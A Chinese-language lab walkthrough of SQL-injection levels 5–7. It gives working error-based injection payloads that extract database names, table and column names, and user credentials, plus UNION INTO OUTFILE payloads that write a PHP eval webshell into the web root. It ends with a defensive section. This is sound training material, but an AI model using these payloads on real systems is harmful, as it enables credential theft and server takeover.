1. 2026年重刷第5关到第7关前,先把这三点想明白
sqlo-labs是我每年都会重新过一遍的SQL注入靶场,今年从第1关刷到第20关,反而在第5到第7关停留的时间最长。这三关刚好是从"页面直接回显数据"过渡到"页面什么也不说"的分水岭:第5关和第6关考报错注入,第7关考文件写入Getshell。刷完这三关,你对闭合符的判断、报错函数的原理、MySQL文件权限的边界,理解会跟前面几关完全不在一个层次上。这篇写给刚过完前四关、正往深水区走的朋友,也适合想系统复习手工注入细节的从业者。
1.1 这三关到底在训练什么
前四关基本是"注入点存在 + 联合查询直接回显"的玩法,你只要会拼union select,就能把整张表拖出来。但真实业务里,很多接口根本不会把查询结果渲染到页面上,它可能只告诉你"成功"或"失败"。这时候再拿union select去怼,往往什么都看不到。
第5关就是用来打破这个错觉的。它的页面永远只回显"You are in...........",正确数据和错误数据都不直接打印。你要么走布尔盲注一条条猜,要么走报错注入,让数据库把查询结果"夹带"在错误信息里吐出来。第6关是第5关的双引号变种,故意把闭合符换掉,逼你养成先判断闭合再动手的习惯。第7关则是彻底换思路——既然结果不回来,那就用into outfile把查询结果写到服务器文件里,甚至可以写一个可执行脚本进去。这三关连起来,正好覆盖了"读数据"和"写文件"两种完全不同的利用方向。
1.2 环境准备:版本差异是最容易踩的隐形坑
我2026年这套环境是MySQL 5.7加PHP 7.x的组合,老教程里很多写法在新环境里会有细微差别,主要体现在三处。
一是MySQL的报错函数。extractvalue、updatexml从5.1.5之后到8.0都还在,但MySQL 8.0默认把secure_file_priv设成了NULL,第7关直接写文件会报1290错误,这个后面单开一节讲。二是PHP高版本已经彻底移除了magic_quotes_gpc,老版sqlo-labs直接跑在PHP 7上往往会白屏或报错,你需要确认靶场代码是否兼容,或者干脆用低版本环境。三是SQL文件导入的编码问题,字符集不一致会导致建表失败或中文乱码,导入前先看好数据库版本。
搭建时把靶场文件夹放进站点根目录,修改数据库连接配置,导入提供的SQL文件,浏览器能打开首页就算成功。如果你不开通报错显示,后面所有判断都会抓瞎,所以php配置里的display_errors务必保持开启。
1.3 工具与调试习惯
我刷这三关基本只用两样东西:浏览器加一个能发原始请求的抓包工具。直接在地址栏手敲payload很容易翻车,因为浏览器会擅自转义特殊字符,对#、引号、空格的处理和原始HTTP请求完全是两码事。我习惯在抓包工具里复制请求、修改参数、发出去,响应直接看原文。
另一个习惯是每过一关,把闭合符、列数、可用手法记在本地笔记里。第5到第7关之间高度相似,不做对比记录的话,刷到第7关你会发现又忘了第5关怎么写。后文第五章会放一张三关对比表,那就是我通关之后沉淀下来的东西。
2. 第5关:单引号闭合的双查询报错注入
2.1 闭合符判断:一条报错信息就把底牌掀了
进入第5关,页面是一个带id参数的查询。先做最基础的一步,给id加一个单引号。
请求:http://靶场地址/第5关?id=1'
如果你在高版本环境里看不到SQL报错,先检查一下后台是否把错误输出关了;靶场默认是开着的,这条报错就是注入最重要的线索。正常情况下你会看到类似这样的文本:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1注意报错里的''1''。外层那一对单引号来自查询语句里的id='...',内层是我们自己传进去的'。看到这个结构,闭合符就确定了:后台SQL大概是SELECT * FROM users WHERE id='$id' LIMIT 0,1,我们传的id值被一对单引号包住。
接下来验证逻辑。传?id=1' and 1=1--+,页面显示"You are in";再传?id=1' and 1=2--+,页面什么都不显示。两个结果对比,说明注入点的条件可控。这里我用--+收尾,是因为MySQL里--后面必须跟空格,而+在URL里会被解析成空格;如果你在抓包工具里手动改包,直接用--也行,或者用#注释,但#在URL里要编码成%23。
判断完闭合,你面前有两条路:一条是布尔盲注,用if()或sleep()慢慢猜;另一条是本文重点——报错注入。第5关的关卡名就叫"双注入",明显是引导你走报错这条。
2.2 报错注入两种主流手法的工作原理
报错注入的思路很朴素:页面不打印查询结果,但会打印SQL报错。那我构造一条"本身会报错,但报错内容里夹带查询结果"的语句。MySQL里能实现这个效果的函数不少,最常见的是extractvalue、updatexml,以及count加floor的经典双查询。
先看extractvalue的写法:
1' and extractvalue(1, concat(0x7e, (select database()), 0x7e))--+extractvalue的第二个参数是XPath路径,如果路径格式非法,MySQL会抛出"XPATH syntax error"并把路径内容显示在错误信息里。我在路径里拼了0x7e,也就是波浪号~,因为~不是合法路径开头,必然触发报错;同时它是可见字符,方便从错误文本里定位数据边界。整个payload的执行顺序是:先把子查询结果拼进XPath参数,再让extractvalue因为路径非法而报错,错误信息里就带上了数据库名。
updatexml的写法类似,只是函数签名里的参数位置不同:
1' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+另一条更经典的路径是双查询:
1' and (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) t)--+它的原理是:用group by对concat(报错内容, floor(rand(0)*2))分组,rand函数导致分组键在两条记录之间跳动,当group by的临时表里出现重复主键时,MySQL为了报"Duplicate entry"错误,会把这条重复记录的内容原样打印出来,而内容正是我们拼接进去的查询结果。这条payload建议背下来,它在老版本MySQL里适用范围比extractvalue更广,而且不依赖XPath规则。
两条路各有特点。extractvalue和updatexml写起来短,但报错信息有长度截断;双查询payload长,但某些场景下更稳定。我实际使用中通常先用extractvalue,数据太长就换substring分块提取。
2.3 从数据库到数据的完整提取流程
确定了闭合符和报错函数,剩下的就是机械地换子查询。整体四步走。
第一步取库名:
1' and extractvalue(1, concat(0x7e, (select database()), 0x7e))--+响应里出现~sqlo_labs~之类的文本,库名到手。
第二步取表名,用group_concat把目标库下的表拼成一行:
1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e))--+表一多,group_concat的结果就会被截断,解决办法是加limit配合substring分批取,比如只取第一张表就写limit 0,1,再往下翻就改limit的偏移量。
第三步取字段名:
1' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='你的表名'), 0x7e))--+这里注意,子查询内部的单引号是用来界定表名字符串的,别和请求里的闭合符搞混。第5关闭合符是单引号,payload里的表名我用'你的表名'包,因为它处在SQL字符串上下文中,需要的是字符串字面量的引号,跟注入点闭合没有冲突。
第四步取数据:
1' and extractvalue(1, concat(0x7e, (select concat(username,0x3a,password) from users limit 0,1), 0x7e))--+0x3a是冒号的十六进制,用来分隔用户名和密码字段。一直手动改limit太累,我当时是把请求丢进抓包工具,复制几份,只改limit偏移量,几轮就把users表刷完了。
2.4 第5关里我踩过的三个坑
刷这关我实打实卡了好几次,记录几个容易翻车的位置。
第一个坑是注释符。我在浏览器里直接输入--+没问题,但换成--后,有人会习惯性省略空格变成--,结果MySQL不认为这是注释,语句后面的引号把语法带崩。记住两条:--后面必须有空格,或者直接用#到行尾。
第二个坑是extractvalue的截断。提取的字符串只要超过三十来个字符,错误信息里就只显示一部分,开头和结尾的~有时会消失。这不是payload写错,只是截断。用substr((select ...), 起始位置, 长度)循环取就好。
第三个坑是0x7e的来历。有些初学者图省事直接在concat里写~,在SQL里被单引号包着的'~'没问题,但放在需要拼接的注入点里,很容易和外围引号纠缠不清。用0x7e这种十六进制写法,既避开引号转义,又保证可见性和唯一性,这是老手偏爱它的原因。
3. 第6关:双引号版本,把第5关的经验整体平移
3.1 双引号闭合的判断信号
第6关和第5关页面长得几乎一样,很多人顺手把第5关的payload直接粘过来,结果一条也跑不通。差别就在闭合符:第5关是id='$id',第6关是id="$id",单引号换成了双引号。
判断方法还是老套路,给id丢一个双引号:
请求:http://靶场地址/第6关?id=1"
看报错信息里的""1"" LIMIT 0,1,两对双引号叠在一起,说明我们的输入落进了双引号包裹的上下文。看到这个结构,直接确定闭合符是双引号,不需要再做布尔验证。
需要提醒的是,在抓包工具里发送时,双引号可以直接放在请求里,但有些代理工具会做编码,你看到%22也不用慌,那就是双引号的URL编码形式。
3.2 Payload移植时的关键细节
把第5关的payload整体平移,只改一个字符:把闭合注入点的单引号改成双引号。
1" and extractvalue(1, concat(0x7e, (select database()), 0x7e))--+这里有一个非常容易误伤的点。payload里凡是用来闭合注入点的引号都要改成双引号,但子查询内部的字符串字面量,比如where table_name='users',必须保持单引号。因为后台查询本身把参数值放在双引号里,我们闭合注入点用的是双引号,而SQL语法里字符串字面量默认用单引号,两者不能混。你要把内部也改成双引号,就会变成""users""这种嵌套混乱的写法,直接报错。
第6关的其余流程和第5关完全一致:闭合确定后,布尔验证、extractvalue取库、information_schema取表取字段、取数据,每一步只是把开头的1'换成1"。我甚至可以抓取第5关的通关请求,只改闭合字符和关卡URL,就能完整复现一遍。
3.3 双引号关卡的延伸验证
刷第6关时,我还顺手验证了一件事:既然union select在页面没有回显的地方看不到数据,那在这关用union能不能奏效。试一下:
1" union select 1,2,3--+结果是页面依然只显示"You are in",没有任何数据。这说明第6关和第5关一样,查询结果根本不会被渲染出来,union select在这种"零回显"场景下几乎没有利用价值。这是很多新手会犯的错——一看到注入点就往上堆union,却忽略了回显条件。
这个验证让我对"手段选择取决于回显方式"有了更具体的感知。页面回显结果,优先union;页面只回显成功与否,要么报错要么盲注;如果目标是把数据写到服务器,才轮到outfile上场。第6关虽然没有引入新函数,但它用最直接的方式治好了"只会用单引号"的机械记忆。我建议你把第5关和第6关的请求并排放在一起,比对除了引号之外还有哪里变了,这种差异意识在后面的关卡里非常值钱。
4. 第7关:INTO OUTFILE写文件的完整链路
4.1 先看这一关的特殊查询结构
第7关一上来,常规报错注入其实也能跑,但关卡名称直接点明目标是"Dump into Outfile",也就是把查询结果写入服务器文件。先探闭合:
请求:http://靶场地址/第7关?id=1'
会看到类似上一关的报错,再试双引号?id=1"同样报错。这一关不是简单的单引号或双引号闭合,它的SQL长这样:
SELECT * FROM users WHERE id=((('$id'))) LIMIT 0,1也就是说,三对括号包着一个单引号。所以闭合方式是'))——先用单引号闭合字符串,再补两对右括号把外层括号闭合。
验证一下:?id=1')) and 1=1--+正常显示,?id=1')) and 1=2--+无显示,闭合确认。下一步数列数,因为写文件要用union select配合:
1')) order by 1--+ 1')) order by 2--+ 1')) order by 3--+ 1')) order by 4--+order by到4时报错,说明查询结果有3列。这个报错本身就是信号,你不需要看到具体数据,只要数到哪一列炸了,就知道列数是3。
4.2 文件写入成立的四个前提
into outfile不是你想写就能写的,它同时依赖四个前提,缺一个都会静默失败或直接报错。
第一,数据库账号要有FILE权限。靶场默认给的连接账号通常带FILE权限,真实环境里很少有业务账号会拿到这个权限,这是第一道闸门。
第二,MySQL变量secure_file_priv要允许写入。这个变量有三种取值:NULL代表禁止所有导入导出;空字符串代表不限制路径;指定了具体目录就只能写到那个目录。MySQL 8.0默认是NULL,所以很多新环境在第7关直接写文件会报1290错误。靶场环境一般不做限制,但如果你复现失败,优先查这个变量。
第三,必须知道网站的绝对路径。写文件要写绝对路径,写不到站点根目录就访问不到。常见Linux环境是/var/www/html/,Windows下是站点根目录,你可以通过phpinfo、报错页面或者前几关留下的线索去确认。
第四,目标目录要对MySQL进程的运行用户开放写权限。Linux下Web服务进程通常以www-data运行,MySQL是mysql用户,如果站点目录属主是root且权限是755,MySQL就写不进去。
这四条按顺序检查,大多数"写文件没反应"的问题都出在第二条和第四条。
4.3 联合查询写文件与Getshell操作
前提都满足后,先做一次无副作用的试探性写入,避免一上来写脚本、然后发现路径不对。我通常先写一个纯文本文件:
1')) union select 1,2,3 into outfile "/var/www/html/第7关/probe.txt"--+请求发出去后,如果页面没有报错,用浏览器访问http://靶场地址/第7关/probe.txt,能看到内容为1 2 3,说明路径、权限全部通畅。这时候再把第3列替换成PHP文件内容:
1')) union select 1,2, "<?php echo phpinfo(); ?>" into outfile "/var/www/html/第7关/info.php"--+访问info.php能看到PHP配置页,说明我们已经能往Web目录写可执行代码。到这里Getshell只差最后一步:写一个可控的WebShell。在靶场环境里,我用的最小化写法是:
1')) union select 1,2, "<?php @eval($_POST['x']); ?>" into outfile "/var/www/html/第7关/shell.php"--+然后向shell.php发一个POST请求,参数x里放要执行的代码,能返回执行结果就算闭环。
这里补充一个细节:如果路径或文件名里出现单双引号混用导致报错,可以把字符串内容用十六进制编码写,MySQL支持0x...形式的字符串常量,能绕开绝大多数引号冲突。
我要强调一句:以上操作全部发生在你自己搭建的靶场里。这套手法的意义在于理解"数据库权限失控"会带来什么后果,而不是拿它去测试任何未经授权的系统。真实生产环境里,文件权限、SELinux、WAF、主机防护会层层拦截,但理解攻击链路始终是做好防御的前提。
4.4 写文件失败场景与排查笔记
如果payload发出去页面直接报错,先看报错编号。常见三种。
一是"ERROR 1290 (HY000)",这是secure_file_priv的限制,需要检查MySQL的启动参数或配置文件,确认它没有指向NULL;二是"ERROR 1 (HY000): Can't create/write to file",这是目录权限或路径问题,可以用系统命令看目录属主,也可以先把目标路径换成/tmp验证MySQL能不能写;三是SELinux或AppArmor拦截MySQL写Web目录,这种情况需要调整策略或换路径。
还有一种情况是不报错但文件没出现。我遇到过两次,一次是路径写错,把/var/www/html写成了/var/www;另一次是文件名带了非法字符。遇到这种"无声失败",我的排查习惯是把目标路径改成/tmp/xxx.txt先写一次,如果tmp能写而Web目录不能写,问题基本锁定在目录权限或SELinux上。
5. 三关串起来:注入套路、常见卡点与防御启示
5.1 第5到7关的技术对比表
刷完三关,我习惯做一张表把技术点钉死,这张表也是我后面刷其他靶场时反复回看的提纲。
| 关卡 | 闭合符 | 核心手法 | 数据如何出来 | 最终目标 |
|---|---|---|---|---|
| 第5关 | 单引号' | 报错注入(extractvalue/updatexml、count+floor双查询) | 借SQL报错信息回显 | 拖出库表字段数据 |
| 第6关 | 双引号" | 同第5关,闭合适配 | 借SQL报错信息回显 | 拖出库表字段数据 |
| 第7关 | 单引号加三层括号')) | 联合查询加into outfile | 不回显,直接写入服务器文件 | 写文件到Web目录,进而Getshell |
这张表最有价值的地方在中间那列:三关的目标逐渐从"读数据"变成"写文件",手段从"靠报错"变成"靠权限"。读和写是两种完全不同的对抗面,防御方要分别对待。
5.2 通用排查顺序与我的操作习惯
三关连刷,我总结出一套固定的排查顺序:注入点确认、闭合符判断、列数探测、手段选择、数据提取或文件写入。每一步都有对应的验证信号,不要跳步。
闭合符判断靠报错原文,这个前面已经反复讲过。列数探测用order by,从1开始往上加,一旦报错就是越界。手段选择看回显:页面直接回显结果,优先union;没有回显但有报错,优先报错注入;报错也被堵死,走布尔盲注或时间盲注;如果目标本来就是写文件,直接考虑outfile。这条决策链练熟了,后面遇到再复杂的注入场景也不会慌。
我的操作习惯还有一点:所有payload先在抓包工具里保留原始请求,通关后再把成功的请求单独存一份。很多初学者喜欢在浏览器里反复粘贴,既看不清编码问题,也没法沉淀出可复用的东西。我刷完这三关,成功请求加起来不超过二十条,但每条都能讲清楚它为什么成功,这比刷五十遍copy-paste有用得多。
5.3 防御视角:攻击手法对应的修复方案
刷靶场不是为了炫技,是为了知道对方怎么打进来。把这三关的攻击手法翻译成防御清单,比抽象地讲"防止SQL注入"落地得多。
报错注入能被利用,基础前提是SQL语句用拼接方式处理了参数,所以根上的修复是参数化查询或预编译语句,让用户输入永远只作为数据出现,而不是可执行代码。光靠过滤单引号、双引号、关键字是不够的,因为注入手法会不断换编码、换函数绕过过滤器。
闭合符导致的括号问题,本质还是拼接。只要SQL被拼出来,闭合符就只是攻击者换了个姿势。所以在代码评审里,看到字符串拼接SQL的代码,无论在前端还是后端,都是最高优先级的问题。
第7关暴露的是数据库权限边界。普通业务查询根本不需要FILE权限,也不需要让数据库账号接触文件系统。生产环境的数据库账号应该遵循最小权限原则,把FILE这类高危权限全部收回,secure_file_priv设置为NULL,同时关闭生产环境的错误信息展示——这一步能直接废掉报错注入的"报错"通道,让它被迫退回效率更低的盲注。
5.4 刷完这三关后的一点体会
从第1关刷到第7关,我最大的变化是面对一个陌生查询时不再急着套payload,而是先花三十秒把语句结构推理出来。第5到第7关恰恰是逼你建立这个推理过程的关卡:报错信息就是调试日志,闭合判断就是语法推理,写文件前的四项检查就是环境审计。这套"先推理、再验证、后利用"的节奏,才是比任何一个payload都值钱的东西。
如果你正在刷这三关,我的建议是不要直接抄任何人的通关payload,哪怕是我这篇。先自己推一遍闭合,自己拼一遍报错函数,再回来看文章对比,收获会完全不一样。我把这些细节写出来,就是希望你在卡住的时候有地方参考,而不是替你完成思考。